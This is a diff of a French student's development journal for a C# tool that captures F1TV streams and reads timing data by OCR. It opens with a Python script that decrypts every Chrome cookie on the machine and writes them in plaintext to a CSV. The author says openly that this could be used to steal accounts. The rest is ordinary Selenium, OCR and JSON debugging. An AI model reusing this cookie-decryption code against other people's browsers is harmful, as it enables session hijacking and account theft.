+def generate_cipher(aes_key, iv):
+    return AES.new(aes_key, AES.MODE_GCM, iv)
+
+def decrypt_password(buff, master_key):
+    try:
+        iv = buff[3:15]
+        payload = buff[15:]
+        cipher = generate_cipher(master_key, iv)
+        decrypted_pass = decrypt_payload(cipher, payload)
+        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
+        return decrypted_pass
+    except Exception:
+        # print("Probably saved password from Chrome version older than v80\n")
+        # print(str(e))
+        return "Chrome < 80"
+
+
+master_key = get_master_key()
+
+cookies_path = Path(
+    os.getenv("localappdata") + "\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
+)
+
+if not cookies_path.exists():
+    raise ValueError("Cookies file not found")
+
+with sqlite3.connect(cookies_path) as connection:
+    connection.row_factory = sqlite3.Row
+    cursor = connection.cursor()
+    cursor.execute("SELECT * FROM cookies")
+
+    with open('cookies.csv', 'a', newline='') as csvfile:
+        fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly']
+        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
+
+        if csvfile.tell() == 0:
+            writer.writeheader()
+
+        for row in cursor.fetchall():
+            decrypted_value = decrypt_password(row["encrypted_value"], master_key)
+            writer.writerow({
+                'host_key': row["host_key"],
+                'name': row["name"],
+                'value': decrypted_value,
+                'path': row["path"],
+                'expires_utc': row["expires_utc"],
+                'is_secure': row["is_secure"],
+                'is_httponly': row["is_httponly"]
+            })
+
+print("Finished CSV")
+

    Ce programme va faire tout ce que j'ai expliqué et va ensuite stocker les résultats dans un CSV pour qu'il soit facile d'y accèder depuis le C#.

    Alors oui cela pose certaines questions de sécurité. Car en effet je prend tous les cookies, les décode et les stocke. Ce qui veut dire que je pourrais tout à fait envoyer ces données quelque part, par exemple un compte Netflix, et me rincer.

    Si je devais rendre le projet ouvert au public je pense qu'il faudra que cela soit mentionné clairement et que le projet soit open source pour que les utilisateurs puissent verifier que je ne fais pas ca.

    @@ -1840,13 +2035,13 @@ print("Finished CSV")

    Pour changer la qualité du feed il faut cliquer sur settings et ensuite prendre le menu deroulant et selectioner 1080p. Le soucis c'est le que la value du select est jamais la même.

    Elle commence toujours pas "1080_" mais ensuite ca peut être "1080_45930285" ou "1080_56801" la suite est apparemment random.

    J'ai donc du utiliser ce code pour le selectioner quand même :

    -
    IWebElement settingsButton = driver.FindElement(By.ClassName("bmpui-ui-settingstogglebutton"));
-                settingsButton.Click();
-                IWebElement selectElement = driver.FindElement(By.ClassName("bmpui-ui-videoqualityselectbox"));
-                SelectElement select = new SelectElement(selectElement);
-                IWebElement selectOption = selectElement.FindElement(By.CssSelector("option[value^='1080_']"));
-                selectOption.Click();
-
    +
    IWebElement settingsButton = driver.FindElement(By.ClassName("bmpui-ui-settingstogglebutton"));
+                settingsButton.Click();
+                IWebElement selectElement = driver.FindElement(By.ClassName("bmpui-ui-videoqualityselectbox"));
+                SelectElement select = new SelectElement(selectElement);
+                IWebElement selectOption = selectElement.FindElement(By.CssSelector("option[value^='1080_']"));
+                selectOption.Click();
+

    Sauf que pour que cela marche je dois avant cliquer sur le bouton des settings le problème c'est qu'il est invisible alors on doit le faire apparaitre.

    J'ai tenté de le faire aparaitre en bougeant la souris, en cliquant à un endroit précis, impossible de le faire marcher correctement.

    Puis j'ai eu l'idée de mettre pause en envoyant un appui sur la touche Espace et ca a permit de découvrir le bouton et permettre qu'on clique dessus.

    @@ -1950,17 +2145,17 @@ Ca fait des heures que je bosse sur ce problème débile et impossible de trouve

    ET MAINTENANT JE N'ARRIVE PLUS A FAIRE DE PROJET AVEC SELENIUM VOIWQNV(UEWQBVU)WEQN=OEJNIVIUWVBWUEV

    ON CHERCHE A ME FAIRE PETER UN PLOMB C'EST PAS POSSIBLE GIWEGUWEQN

    VOICI UN EXEMPLE DU CODE QUE JE DEMANDE A UN NOUVEAU PROJET AVEC EXACTEMENT LES MEMES LIBRARIES INSTALLEES :

    -
    // Create a new FirefoxDriver instance
-            IWebDriver driver = new FirefoxDriver();
-
-            // Navigate to the specified URL
-            driver.Navigate().GoToUrl("https://www.example.com");
-
-            // Do something with the driver (e.g., find elements or take screenshots)
-
-            // Quit the driver
-            driver.Quit();
-
    +
    // Create a new FirefoxDriver instance
+            IWebDriver driver = new FirefoxDriver();
+
+            // Navigate to the specified URL
+            driver.Navigate().GoToUrl("https://www.example.com");
+
+            // Do something with the driver (e.g., find elements or take screenshots)
+
+            // Quit the driver
+            driver.Quit();
+

    Je ne demande que ca ET MEME CA CA NE VEUT PAS FONCTIONNER VOIWENB)IWUQENV

    Oui je suis un peu énervé ca se voit? A bon?

    Et maintenant NUGGET ne fonctionne plus... j'en peux plus la.

    @@ -1987,31 +2182,31 @@ Ca fait des heures que je bosse sur ce problème débile et impossible de trouve

    Je vais les tester et simplement prier pour qu'elles fonctionnent et que je puisse faire ce que je veux avec.

    Alors pour le moment avec CEFSharp j'arrive à lancer une instance de chrome et prendre une screenshot avec ce code :

    -
    CefSettings settings = new CefSettings();
-            settings.CachePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "CefSharp\\Cache"); // Set cache path
-            settings.LogSeverity = LogSeverity.Disable; // Disable logging
-            Cef.Initialize(settings); // Initialize CEF
-
-            using (var browser = new ChromiumWebBrowser("www.google.com", new BrowserSettings())) // Launch Chromium in off-screen mode
-            {
-                browser.Load("https://www.example.com"); // Navigate to the test URL
-                browser.Size = new Size(1920, 1080); // Set the browser size to 1920x1080
-                browser.ScreenshotAsync().ContinueWith(task =>
-                {
-                    var bitmap = task.Result;
-                    bitmap.Save("screenshot.png", System.Drawing.Imaging.ImageFormat.Png); // Take a screenshot and save it as a PNG file
-                }).Wait();
-            }
-
-            Cef.Shutdown(); // Shutdown CEF
-
    +
    CefSettings settings = new CefSettings();
+            settings.CachePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "CefSharp\\Cache"); // Set cache path
+            settings.LogSeverity = LogSeverity.Disable; // Disable logging
+            Cef.Initialize(settings); // Initialize CEF
+
+            using (var browser = new ChromiumWebBrowser("www.google.com", new BrowserSettings())) // Launch Chromium in off-screen mode
+            {
+                browser.Load("https://www.example.com"); // Navigate to the test URL
+                browser.Size = new Size(1920, 1080); // Set the browser size to 1920x1080
+                browser.ScreenshotAsync().ContinueWith(task =>
+                {
+                    var bitmap = task.Result;
+                    bitmap.Save("screenshot.png", System.Drawing.Imaging.ImageFormat.Png); // Take a screenshot and save it as a PNG file
+                }).Wait();
+            }
+
+            Cef.Shutdown(); // Shutdown CEF
+

    Avec ca il faut ces using :

    -
    using System;
-using System.Drawing;
-using System.IO;
-using CefSharp;
-using CefSharp.OffScreen;
-
    +
    using System;
+using System.Drawing;
+using System.IO;
+using CefSharp;
+using CefSharp.OffScreen;
+

    C'est assez prometteur même si il faut encore beaucoup pour remplacer selenium.

    Ah bah lol en fait non on peut pas utiliser cette librarie pour faire tourner firefox... J'EN AI MARRE J'AVAIS CHERCHE PRECISEMENT UNE LIB QUI MARCHE AVEC FIREFOX

    Et phantomJS non plus ne fonctionne pas avec firefox... J'en ai marre.

    @@ -2038,9 +2233,9 @@ using CefSharp.OffScreen;

    Encore une fois sans succès. J'ai ensuite tenté d'utiliser trois autres versions du GeckoDriver, 0.27,0.26,0.25 et aucune ne m'aidait.

    Mais en fait la seule chose qui a changé quoi que ce soit était la technique suivante :

    Changer la window size en utilisant :

    -
    options.AddArgument("--width=1920");
-options.AddArgument("--height=1200");
-
    +
    options.AddArgument("--width=1920");
+options.AddArgument("--height=1200");
+

    Ca ne marchait pas car j'utilisais une autre methode pour resize en même temps, qui elle ne marchait pas mais qui empêchait celle la de marcher. Ensuite le soucis que j'avais c'est que en mettant 1920-1080 je me retrouvais avec 1920-998 ou un truc du genre ce qui n'était pas normal alors je me disais que cette technique ne marchait pas non plus et je l'ai passée.

    Alors tout n'est pas encore gagné, il faut que j'arrive à implémenter ca dans un plus gros projet et que la vidéo puisse être prise seule. Demain je m'occupe de ca.

    Mardi 2 Mai 2023

    @@ -2156,57 +2351,57 @@ C'était assez frustrant d'avoir perdu deux jours de travail mais on va faire av

    Pour le rendu il nous était demandé de fournir un fichier PDF avec tout dedans avec une table des matières notre code source etc...

    Pour ce faire j'ai du changer le mkdocs.yml et installer des packages.

    Voici les changements ::

    -
    site_name: Documentation Track Trends
-site_author: Rohmer Maxime
-copyright:   ©CFPTI Tech2
-theme:
-        name: material
-        palette:
-        # Palette toggle for light mode
-        - media: "(prefers-color-scheme: light)"
-          scheme: default
-          toggle:
-          icon: material/brightness-7
-          name: Switch to dark mode
-
-        # Palette toggle for dark mode
-        - media: "(prefers-color-scheme: dark)"
-          scheme: slate
-          toggle:
-          icon: material/brightness-4
-          name: Switch to light mode
-markdown_extensions:
-  - attr_list
-  - md_in_html
-  - pymdownx.highlight
-plugins:
-  - glightbox
-  - search
-  - img2fig
-  - with-pdf:
-      cover_subtitle: Vroum Vroum
-      enabled_if_env: ENABLE_PDF_EXPORT
-  - annexes-integration:
-      annexes: # Required (at least 1)
-        - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title
-        - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title
-        - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title
-        - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title
-        - Program.cs: Code/Program.cs # An path to an annex with its title
-        - Window.cs: Code/Window.cs # An path to an annex with its title
-        - DriverData.cs: Code/DriverData.cs # An path to an annex with its title
-        - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title
-        - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title
-        - Form1.cs: Code/Form1.cs # An path to an annex with its title
-        - Reader.cs: Code/Reader.cs # An path to an annex with its title
-        - Zone.cs: Code/Zone.cs # An path to an annex with its title
-        - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title
-        - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title
-        - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title
-        - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title
-        - Settings.cs: Code/Settings.cs # An path to an annex with its title
-        - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title
-
    +
    site_name: Documentation Track Trends
+site_author: Rohmer Maxime
+copyright:   ©CFPTI Tech2
+theme:
+        name: material
+        palette:
+        # Palette toggle for light mode
+        - media: "(prefers-color-scheme: light)"
+          scheme: default
+          toggle:
+          icon: material/brightness-7
+          name: Switch to dark mode
+
+        # Palette toggle for dark mode
+        - media: "(prefers-color-scheme: dark)"
+          scheme: slate
+          toggle:
+          icon: material/brightness-4
+          name: Switch to light mode
+markdown_extensions:
+  - attr_list
+  - md_in_html
+  - pymdownx.highlight
+plugins:
+  - glightbox
+  - search
+  - img2fig
+  - with-pdf:
+      cover_subtitle: Vroum Vroum
+      enabled_if_env: ENABLE_PDF_EXPORT
+  - annexes-integration:
+      annexes: # Required (at least 1)
+        - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title
+        - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title
+        - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title
+        - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title
+        - Program.cs: Code/Program.cs # An path to an annex with its title
+        - Window.cs: Code/Window.cs # An path to an annex with its title
+        - DriverData.cs: Code/DriverData.cs # An path to an annex with its title
+        - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title
+        - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title
+        - Form1.cs: Code/Form1.cs # An path to an annex with its title
+        - Reader.cs: Code/Reader.cs # An path to an annex with its title
+        - Zone.cs: Code/Zone.cs # An path to an annex with its title
+        - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title
+        - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title
+        - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title
+        - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title
+        - Settings.cs: Code/Settings.cs # An path to an annex with its title
+        - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title
+

    Je remercie Monsieur Briard le sultan officiel de Mkdocs de la classe de m'avoir aidé pour cette partie et avoir créé un plugin qui me permet de mettre mon code source directement dans le pdf.

    Bon au final j'ai quand même changé mon poster

    @@ -2218,6 +2413,842 @@ plugins:
    "Poster V9"
    +

    Je pense que cette version est meilleure même si elle est encore plus en bordel par ce que le texte permet de se faire une meilleure idée de l'utilisé de chaque partie.

    +

    Mercredi 10 Mai 2023

    +

    Bon hier je n'ai pas eu le temps de finir la documentation de la recupèration d'images et de la calibration. Il faudra donc que je repasse un coup dessus en fin de semaine je pense.

    +

    Mais la j'aimerais avancer sur la mise en commun du projet, comme la configuration fonctionne plutôt pas mal je pense que je vais juste vite fait aller commenter les methodes qui ne le sont pas encore et ensuite je vais passer à l'implémentation de l'OCR.

    +

    Je suis presque certain que l'OCR va avoir besoin de plus de règlages mais bon on verra bien.

    +

    Je me rend compte en commentant que la methode de load serait plus efficace avec un tout petit peu plus d'infos de la part du JSON. J'aurais pu ajouter l'offset entre chaque Driver Zone pour eviter un lèger drift lors de la reconstruction. Mais bon rien de grave donc je pense que je vais le laisser comme ca pour le moment à moins que ca me pose soucis plus tard.

    +

    J'ai eu quelques soucis avec les images en 4K. Du coup j'ai descendu les variables d'environnement à 1920x1080

    +

    En fait il y a parfois un soucis un peu pénible avec l'OCR.

    +

    Parfois pour un temps comme ci dessous:

    +
    + +
    "1:45.140"
    +
    +

    Le programme ne va pas bien comprendre les ponctuations et il va donner : 1115140

    +

    La il y a deux problèmes... Le 1:xx.xxx est compris comme 11xxxxx et le 4 s'est transformé en 1...

    +

    J'ai créé ce "petit" bout de code pour gèrer les fois ou les '.' et les ':' ont mal été interprêtés

    +
    if (rawNumbers.Count == 1)
+                    {
+                        //If this code is used it means that its bad ... 
+                        //The methods that comes are really not that great and are juste quick fixes
+                        try
+                        {
+                            result = Convert.ToInt32(rawNumbers[0]);
+
+                            switch (windowType)
+                            {
+                                case OcrImage.WindowType.Sector:
+                                    //The usual sector is in this form : 33.456
+                                    if (rawNumbers[0].Length == 6)
+                                    {
+                                        //The '.' has been understood like a number
+                                        result = 0;
+                                        result += Convert.ToInt32(rawNumbers[0][0] + rawNumbers[0][1]) * 1000;
+                                        result += Convert.ToInt32(rawNumbers[0][3] + rawNumbers[0][4] + rawNumbers[0][5]);
+                                    }
+                                    if (rawNumbers[0].Length == 5)
+                                    {
+                                        //The '.' has been overlooked
+                                        result = 0;
+                                        result += Convert.ToInt32(rawNumbers[0][0] + rawNumbers[0][1]) * 1000;
+                                        result += Convert.ToInt32(rawNumbers[0][2] + rawNumbers[0][3] + rawNumbers[0][4]);
+                                    }
+                                    break;
+                                case OcrImage.WindowType.LapTime:
+                                    //The usual Lap time is in this form : 1:45:345
+                                    if (rawNumbers[0].Length == 6)
+                                    {
+                                        //The '.' and ':' have been overlooked
+                                        //I Know Im skipping the cases where there are more than 9 minuts but it happens so rarely that... we dont care
+                                        result = 0;
+                                        result += Convert.ToInt32(rawNumbers[0][0]) * 60000;
+                                        result += Convert.ToInt32(rawNumbers[0][1] + rawNumbers[0][2]) * 1000;
+                                        result += Convert.ToInt32(rawNumbers[0][3] + rawNumbers[0][4] + rawNumbers[0][5]);
+                                    }
+                                    if (rawNumbers[0].Length == 7)
+                                    {
+                                        //There is two possibilities 
+                                        //Either 1:45.140 has been interpreted as 1145.10 or 1:451140. We will assume its the first one
+                                        result = 0;
+                                        result += Convert.ToInt32(rawNumbers[0][0]) * 60000;
+                                        result += Convert.ToInt32(rawNumbers[0][2] + rawNumbers[0][3]) * 1000;
+                                        result += Convert.ToInt32(rawNumbers[0][4] + rawNumbers[0][5] + rawNumbers[0][6]);
+                                    }
+                                    break;
+                                case OcrImage.WindowType.Gap:
+                                    //The usual Gap is in this form : + 34.567
+                                    if (rawNumbers[0].Length == 5)
+                                    {
+                                        //The '.' has been overlooked
+                                        result += Convert.ToInt32(rawNumbers[0][0] + rawNumbers[0][1]) * 1000;
+                                        result += Convert.ToInt32(rawNumbers[0][2] + rawNumbers[0][3] + rawNumbers[0][4]);
+                                    }
+                                    break;
+                            }
+                            if (rawNumbers[0].Length > 6)
+                            {
+                                //The number definitely has been interpreted wrong
+                            }
+                        }
+                        catch
+                        {
+                            //It can be because the input is empty or because its the LEADER bracket
+                            result = 0;
+                        }
+                    }
+                    else
+                    {
+                        //Auuuugh
+                        result = 0;
+                    }
+
    +
    ConfigFile = "./Presets/Clean_2023.json";
+string gpUrl = "https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play";
+
    +

    Bon je n'arrive pas à faire fonctionner l'OCR sans tout faire crash à chaque fois. Je vais abandonner le travail de la journée pour revenir au point initial... C'est très frustrant mais bon je ne vois pas comment faire mieux. Rien ne marche alors qu'avant ca marchant super sur le projet OCR normal.

    +

    Va savoir pourquoi même comme ca, impossible de faire marcher l'OCR. Il y a un soucis au niveau de l'ASYNC qui me fait crash tout le temps en me disant qu'un objet est deja en train d'être utilisé. Ca marchait nikel dans mes premières version je ne vois pas pourquoi ca pête maintenant.

    +

    Je pense que je vois à peu près le soucis.

    +
    public virtual async Task<DriverData> Decode(List<string> driverList)
+        {
+            int sectorCount = 0;
+            DriverData result = new DriverData();
+            Parallel.ForEach(Windows, async w =>
+            {
+                // A switch would be prettier but I dont think its supported in this C# version
+                if (w is DriverNameWindow)
+                    result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList);
+                if (w is DriverDrsWindow)
+                    result.DRS = (bool)await (w as DriverDrsWindow).DecodePng();
+                if (w is DriverGapToLeaderWindow)
+                    result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng();
+                if (w is DriverLapTimeWindow)
+                    result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng();
+                if (w is DriverPositionWindow)
+                    result.Position = (int)await (w as DriverPositionWindow).DecodePng();
+                if (w is DriverSectorWindow)
+                {
+                    sectorCount++;
+                    if (sectorCount == 1)
+                        result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng();
+                    if (sectorCount == 2)
+                        result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng();
+                    if (sectorCount == 3)
+                        result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng();
+                }
+                if (w is DriverTyresWindow)
+                    result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng();
+            });
+            return result;
+        }
+
    +

    Ca c'est ma methode de decoding de chaque Driver Zone. Le message d'erreur me parle d'une windowImage quand il dit qu'un objet est déja utilisé. Ma conjecture c'est que en essayant de faire toutes les windows en même temps. Elles veulent parfois accèder à l'image principale en même temps. Ce qui evidemment pose problème. Je pense que le fix le plus simple serait de faire le traitement sans le parallele quitte à exporter ce fonctionnement sur chaque zone en elle même pour ne pas perdre trop de performances.

    +

    Ok je crois que je vois ou est le soucis. En fait dans cette version du programme c'est toujours la première image qui était juste tout le temps prise et dans la première image on a une partie des chiffres qui est bloquée par l'UI de la fenêtre... lol...

    +

    EN FAIT +J'avais un soucis dans ma gestion des chiffres mal faits. Visiblement parfois quand je ne prenais pas en compte un :, un LapTime etait compris comme un Gap to leader ou un Secteur

    +

    Bon j'en ai tellement marre... Je n'arrive tout simplement PAS à faire fonctionner l'OCR ca crash tout le temps j'en peux plus.

    +

    J'ai tenté de règler les problèmes de mauvaises detections de secteurs et temps au tour qui font crasher l'app :

    +
    if (rawNumbers.Count == 2)
+                {
+                    //ss:ms
+                    result = (Convert.ToInt32(rawNumbers[0]) * 1000) + Convert.ToInt32(rawNumbers[1]);
+
+                    if (result > (60000 + 999))
+                    {
+                        if (windowType == OcrImage.WindowType.LapTime)
+                        {
+                            result = 0;
+                            result += Convert.ToInt32(rawNumbers[0][0]) * 60000;
+                            result += Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString()) * 1000;
+                            result += Convert.ToInt32(rawNumbers[1]);
+                        }
+                        if (windowType == OcrImage.WindowType.Sector)
+                        {
+                            int seconds = 0;
+                            if (rawNumbers[0].Length == 3)
+                            {
+                                //We have one char that we need to delete
+                                //For no apparent reason im going to delete the first 
+                                seconds = Convert.ToInt32(rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
+                            }
+                            else
+                            {
+                                seconds = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString());
+                            }
+                            int ms = Convert.ToInt32(rawNumbers[0][0].ToString() + rawNumbers[0][1].ToString() + rawNumbers[0][2].ToString());
+                            result = seconds * 1000 + ms;
+                        }
+                    }
+                }
+
    +

    Mais toujours impossible de faire fonctionner cette M**** C'est juste infernal. Je pense que je vais encore tout retirer et remplacer par ce que j'ai dans mon projet OCR original. Donc c'est une journée de perdue complêtement... C'est extrêmement frustrant.

    +

    Après des heures de debug j'ai enfin réussi à faire fonctionner le programme de temps en temps. Mais j'ai toujours le soucis que l'image ne veut pas changer alors que je fais tout pour et que l'OCR est nulle à chier du coup...

    +

    Jeudi 11 Mai 2023

    +

    Bon après une bonne nuit de sommeil je vais reprendre les choses depuis le début.

    +

    J'ai deux soucis :

    +
      +
    • L'OCR pue du derche
      • +
    • L'Image que l'on décode ne change pas
      • +
    +

    Pour la première partie j'ai ma petite théorie. Je pense que comme je donne des images 4K alors que le feed est en 1080P, il y a déja un genre d'interpolation qui est faite. Je pense donc qu'il faut que j'adapte mon engine pour qu'il fonctionne avec cette résolution.

    +

    Je me suis demandé si ca n'était pas mieux de prendre en compte les deux résolutions pour les pc un peu moins balèzes et j'ai décidé de n'en avoir rien a faire. On verra dans le futur si c'est une feature que je voudrais ajouter mais c'est en dehors du scope du diplôme je pense.

    +

    Pour la seconde partie, je pense qu'il faut que j'aille voir du côte de OCR_Decode et de OCR Tester pour voir comment je faisais. Je dois forcément oublier un truc.

    +

    Bon ca commence mal, quand je vais voir dans le projet OCR_Decode, le changement d'image est exactement le même et il fonctionne alors que de mon côté ca n'est pas le cas.

    +

    Alors deux choses. Je me rend compte que le changement d'images n'a AUCUN effet sur la detection de texte, et seconde chose, le décalage est trop grand entre les windows. Des que le soucis d'image est règlé il va falloir que je change drastiquement ma facon de stocker la config en JSON. Il faut que je conserve les écarts.

    +

    Sinon regardez ce que ca donne quand on arrive au dernier pilote :

    +
    + +
    "Zone de pilote décalée"
    +
    +

    Je commence à devenir FOU. Je n'arrive pas à changer cette foutue image wtf... J'ai beau tenter par tous les moyens de la changer par une image noire, l'image semble toujours rester celle du départ.

    +

    Bon j'ai enfin trouvé pourquoi et je n'ai pas envie de dire comment j'ai trouvé... Je pense que l'on a tous droit à son petit jardin secret.

    +

    Maintenant ca veut dire que je peux me focus sur le concept important qui est le changement de la création et de la lecture des JSON.

    +

    Voici un exemple de preset JSON :

    +
    {
+    "Main": {
+        "x": 40,
+        "y": 355,
+        "width": 3784,
+        "height": 1438,
+        "Zones": [
+            {
+                "DriverZone": {
+                    "x": 0,
+                    "y": -10,
+                    "width": 3784,
+                    "height": 71,
+                    "Windows": [
+                        {
+                            "Position": {
+                                "x": 47,
+                                "y": 11,
+                                "width": 72
+                            },
+                            "GapToLeader": {
+                                "x": 445,
+                                "y": 13,
+                                "width": 201
+                            },
+                            "LapTime": {
+                                "x": 859,
+                                "y": 14,
+                                "width": 221
+                            },
+                            "DRS": {
+                                "x": 1094,
+                                "y": 13,
+                                "width": 173
+                            },
+                            "Tyres": {
+                                "x": 1270,
+                                "y": 11,
+                                "width": 1452
+                            },
+                            "Name": {
+                                "x": 2727,
+                                "y": 11,
+                                "width": 351
+                            },
+                            "Sector1": {
+                                "x": 3083,
+                                "y": 10,
+                                "width": 253
+                            },
+                            "Sector2": {
+                                "x": 3339,
+                                "y": 14,
+                                "width": 195
+                            },
+                            "Sector3": {
+                                "x": 3518,
+                                "y": 14,
+                                "width": 250
+                            }
+                        }
+                    ]
+                }
+            }
+        ]
+    },
+    "Drivers": [
+        "Perez",
+        "Leclerc",
+        "Sainz",
+        "Alonso",
+        "Stroll",
+        "Russel",
+        "Verstappen",
+        "Zhou",
+        "Ocon",
+        "Hulkenberg",
+        "Hamilton",
+        "Norris",
+        "Tsunoda",
+        "Magnussen",
+        "Piastri",
+        "Albon",
+        "Gasly",
+        "Sargeant",
+        "Bottas",
+        "De Vries"
+    ]
+}
+
    +

    Je pense que ce qui serait bien ce serait de rajouter un "offsets" qui contienne les 19 écarts restants.

    +

    Bon... la structure de ma fabrication de JSON etait trop confuse je trouve alors je l'ai complêtement refaite.

    +

    J'ai aussi abandonné l'idée de faire un fichier le plus petit possible car au final on s'en fiche et le plus important c'est que toutes les windows et les zones soient aux bons endroits.

    +

    Ca nous fait un fichier d'environs 1300 lignes mais au moins le code pour la serialisation est plutôt clean :

    +
    public void SaveToJson(List<string> drivers, string configName)
+        {
+            string JSON = "";
+
+            JsonObject jsonFileObject = new JsonObject();
+
+            //Creating the mainZone object
+
+            JsonObject mainZoneObject = new JsonObject();
+            mainZoneObject.Add("x",MainZone.Bounds.X);
+            mainZoneObject.Add("y",MainZone.Bounds.Y);
+            mainZoneObject.Add("width",MainZone.Bounds.Width);
+            mainZoneObject.Add("height",MainZone.Bounds.Height);
+
+            JsonArray driverZonesArray = new JsonArray();
+
+            int DriverID = 0;
+            foreach (Zone driverZone in MainZone.Zones)
+            {
+                DriverID++;
+                JsonObject driverZoneObject = new JsonObject();
+                driverZoneObject.Add("name","Driver"+DriverID);
+                driverZoneObject.Add("x", driverZone.Bounds.X);
+                driverZoneObject.Add("y", driverZone.Bounds.Y);
+                driverZoneObject.Add("width", driverZone.Bounds.Width);
+                driverZoneObject.Add("height", driverZone.Bounds.Height);
+
+                JsonArray windowsArray = new JsonArray();
+
+                JsonObject windowObject = new JsonObject();
+                foreach (Window window in driverZone.Windows)
+                {
+                    windowObject.Add(window.Name, new JsonObject {
+                        { "x", window.Bounds.X },
+                        { "y", window.Bounds.Y },
+                        { "width", window.Bounds.Width },
+                        { "height", window.Bounds.Height }
+                    });
+                }
+                windowsArray.Add(windowObject);
+
+                driverZoneObject.Add("Windows",windowsArray);
+
+                driverZonesArray.Add(driverZoneObject);
+            }
+
+            mainZoneObject.Add("DriverZones",driverZonesArray);
+
+            JsonArray driversArray = new JsonArray();
+
+            foreach (string driver in drivers)
+            {
+                driversArray.Add(driver);
+            }
+
+            mainZoneObject.Add("Drivers",driversArray);
+
+            jsonFileObject.Add("Main",mainZoneObject);
+
+            JSON = jsonFileObject.ToString();
+
+            //Saving the file
+            string path = CONFIGS_FOLDER_NAME + configName;
+
+            if (File.Exists(path + ".json"))
+            {
+                //We need to create a new name
+                int count = 2;
+                while (File.Exists(path + "_" + count + ".json"))
+                {
+                    count++;
+                }
+                path += "_" + count + ".json";
+            }
+            else
+            {
+                path += ".json";
+            }
+
+            File.WriteAllText(path, JSON);
+        }
+
    +

    Et normalement la lecture devrait être encore plus simple.

    +

    En fait c'était pas beaucoup plus simple mais au moins maintenant ca marche. Je vais pas mettre le code de lecture ici car c'est un peu trop long donc il va falloir me croire sur parole. (Ou aller sur Git)

    +

    Bon bah on est au même endroit qu'hier...

    +

    Bon pour demain le plan de bataille ca va être :

    +

    Changer complêtement la methode "GetTimeFromPng" pour qu'elle prenne en compte toutes les possibilités de bugs et d'oubli de '.' ou de ':' mais pas selon le nombre de blocs mais selon le type de temps que l'on cherche

    +

    Pour le moment je regarde le nombre de blocs et si il y en a deux alors c'est que c'est un temps de secteur. En fait non cela peut aussi être un temps au tour qui a raté un point.

    +

    Il faut que je bosse juste un peu vite fait la dessus et que j'arrête de putain de crasher dès que un truc est pas au bon format. Ensuite quand ca aura arrêté de crasher je vais reprendre l'OCR et voir pourquoi les resultats sont nuls a chier comme ca.

    +

    Et le but c'est que demain soir j'ai une reconnaissance de caractères plus proche de ce que j'avais dans d'autres projets... J'y croit 0 mais bon l'espoir fait vivre comme on dit.

    +

    vendredi 12 Mai 2023

    +

    Bon aujourd'hui il faut que ca marche.

    +

    On va y aller par étape. Je vais revoir toutes les methodes d'OCR et essayer de réapliquer les filtres differemment et revenir au point de départ.

    +

    Avant de commencer je note plusieurs soucis avec les premiers tests :

    +
      +
    • Les positions des pilotes ont l'air pas mal (Pas besoin de tout changer mais peut-être simplement checker que les filtres sont bons)
      • +
    • L'écart avec le leader est étonnamment pas mal aussi
      • +
    • Le temps au tour est tout simplement horrible. Aucun n'est juste et de très loin même si les décimales ne sont pas forcément loin
      • +
    • Le DRS je n'ai pas eu l'occasion de bien le tester mais je dirais que ca devrait être bon (à verifier quand le reste sera bon)
      • +
    • Les pneus ne sont étonnamment pas SI horribles, même si parfois les lettres sont prises comme des chiffres
      • +
    • Les noms de pilotes sont très bon (pas étonnant vu le système de distance de Levenstein donc ca mérite quand même un petit check)
      • +
    • Les secteurs sont en général horribles mais pas toujours. C'est peut-être un soucis de décimale ou des 4 qui se transforment en 1
      • +
    +

    J'ai remarqué que les 4 sont souvent pris comme des 1. Peut-être que en ayant des images 4K l'interpolation est un peu différente de ce que j'ai l'habitude de voir.

    +

    Mais donc le plan aujourd'hui c'est de checker tous ces points et les faire fonctionner (youpi...)

    +

    J'ai désactivé toutes les methodes de cette facon :

    +
    int sectorCount = 0;
+            DriverData result = new DriverData();
+            foreach(Window w in Windows)
+            {
+                // A switch would be prettier but I dont think its supported in this C# version
